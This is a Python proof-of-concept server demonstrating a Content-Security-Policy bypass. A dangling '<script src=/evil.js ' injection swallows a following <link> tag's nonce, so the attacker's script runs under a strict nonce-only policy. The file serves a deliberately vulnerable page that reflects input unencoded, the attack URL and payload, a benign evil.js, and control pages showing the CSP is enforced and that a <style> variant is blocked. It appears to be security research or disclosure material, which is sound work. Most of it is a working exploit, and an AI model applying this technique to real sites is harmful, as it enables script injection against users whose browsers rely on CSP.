#!/usr/bin/env python3
"""
POC server for CSP nonce hijacking via dangling <script> swallowing <link nonce>.

The victim page is served with a strict nonce-only CSP:
    Content-Security-Policy: script-src 'nonce-abc'; style-src 'nonce-abc'

The page reflects ?q= unencoded into the body, immediately before a
legitimate <link rel=stylesheet nonce="abc" ...>. A legitimate
<script nonce="abc"> appears later in the document (provides the closing
</script> for the attacker's dangling tag).

Attacker payload (already URL-encoded in the default redirect for convenience):
    <script src=/evil.js   (trailing space, NO '>')

Resulting token stream after injection:
    <script src=/evil.js <link rel=stylesheet nonce="abc" href=/legit.css>

The HTML tokenizer parses '<link' as an attribute NAME on the attacker's
<script> tag. The victim's nonce="abc" becomes an attribute on the
attacker's <script>. IsNonceableElement() only blocklists '<SCRIPT' and
'<STYLE' substrings -- '<link' passes, the stolen nonce is honoured, and
/evil.js executes.
"""

import http.server
import socketserver
import urllib.parse

HOST, PORT = "127.0.0.1", 8765
NONCE = "abc"

# NOTE: everything between the reflected {inj} and the next literal
# </script> will be swallowed as the attacker's script *body* by the
# tokenizer. That body is irrelevant because src= takes precedence.
VICTIM_TMPL = """<!DOCTYPE html>
<html>
<head><title>victim</title></head>
<body>
<h1>Search results</h1>
<div>You searched for: {inj}<link rel=stylesheet nonce="{nonce}" href=/legit.css>
</div>
<p>Some page content that will be eaten as script data.</p>
<script nonce="{nonce}">
  console.log("[victim] legitimate inline script ran");
</script>
<div id="out">waiting...</div>
<script nonce="{nonce}">
  // Second legit script: report final state after load.
  window.addEventListener('load', function() {{
    if (window.__evil_ran__) {{
      document.title = 'CSP-BYPASS-SUCCESS';
      console.log('[RESULT] *** CSP BYPASS: evil.js EXECUTED under nonce-only script-src ***');
    }} else {{
      document.title = 'CSP-HELD';
      console.log('[RESULT] CSP held: evil.js did not execute');
    }}
  }});
</script>
</body>
</html>
"""

# Control page: same CSP, plain <script src=/evil.js> with NO nonce and
# NO hijack. Proves CSP is actually enforcing (evil.js must be blocked here).
CONTROL_PAGE = """<!DOCTYPE html>
<html><head><title>control</title></head>
<body>
<script src=/evil.js></script>
<script nonce="{nonce}">
  window.addEventListener('load', function() {{
    if (window.__evil_ran__) {{
      console.log('[CONTROL] UNEXPECTED: evil.js ran without a nonce');
    }} else {{
      console.log('[CONTROL] OK: evil.js was blocked by CSP (no nonce)');
    }}
  }});
</script>
</body></html>
"""

EVIL_JS = (
    "window.__evil_ran__ = true;\n"
    "console.log('[evil.js] *** ATTACKER SCRIPT EXECUTING IN VICTIM ORIGIN ***');\n"
    "try { document.getElementById('out').textContent = 'PWNED via <link nonce hijack'; } catch(e){}\n"
)

LEGIT_CSS = "body { font-family: sans-serif; }\n"

# Dangling-markup payload: <script src=/evil.js  (trailing space, no '>')
ATTACK_PAYLOAD = "<script src=/evil.js "
ATTACK_URL = "/victim?q=" + urllib.parse.quote(ATTACK_PAYLOAD)

# Differential control: identical injection, but the page uses
# <style nonce="abc"> instead of <link nonce="abc"> after the sink.
# IsNonceableElement DOES blocklist '<STYLE', so this must be blocked.
VICTIM_STYLE_TMPL = """<!DOCTYPE html>
<html>
<head><title>victim-style</title></head>
<body>
<div>You searched for: {inj}<style nonce="{nonce}">body{{color:red}}</style>
</div>
<script nonce="{nonce}">console.log("legit");</script>
<script nonce="{nonce}">
  window.addEventListener('load', function() {{
    if (window.__evil_ran__) {{
      console.log('[STYLE-CONTROL] UNEXPECTED: <style mitigation failed, evil.js ran');
    }} else {{
      console.log('[STYLE-CONTROL] OK: <style attribute-name mitigation blocked the hijack');
    }}
  }});
</script>
</body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def _send(self, code, ctype, body, extra_headers=None):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Cache-Control", "no-store")
        for k, v in (extra_headers or {}).items():
            self.send_header(k, v)
        self.end_headers()
        if isinstance(body, str):
            body = body.encode()
        self.wfile.write(body)

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        path = parsed.path
        qs = urllib.parse.parse_qs(parsed.query)

        csp = f"script-src 'nonce-{NONCE}'; style-src 'nonce-{NONCE}'"

        if path == "/":
            # Convenience: redirect straight to the attack URL.
            self._send(302, "text/plain", b"", {"Location": ATTACK_URL})
            return

        if path == "/victim":
            inj = qs.get("q", [""])[0]  # reflected RAW, no encoding (the bug precondition)
            body = VICTIM_TMPL.format(inj=inj, nonce=NONCE)
            self._send(200, "text/html; charset=utf-8", body,
                       {"Content-Security-Policy": csp})
            return

        if path == "/victim-style":
            inj = qs.get("q", [""])[0]
            body = VICTIM_STYLE_TMPL.format(inj=inj, nonce=NONCE)
            self._send(200, "text/html; charset=utf-8", body,
                       {"Content-Security-Policy": csp})
            return

        if path == "/control":
            body = CONTROL_PAGE.format(nonce=NONCE)
            self._send(200, "text/html; charset=utf-8", body,
                       {"Content-Security-Policy": csp})
            return

        if path == "/evil.js":
            self._send(200, "application/javascript", EVIL_JS)
            return

        if path == "/legit.css":
            self._send(200, "text/css", LEGIT_CSS)
            return

        self._send(404, "text/plain", b"not found")

    def log_message(self, fmt, *args):
        import sys
        sys.stderr.write("[server] " + (fmt % args) + "\n")


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer((HOST, PORT), Handler) as httpd:
        print(f"[server] listening on http://{HOST}:{PORT}")
        print(f"[server] attack URL: http://{HOST}:{PORT}{ATTACK_URL}")
        print(f"[server] control URL: http://{HOST}:{PORT}/control")
        httpd.serve_forever()
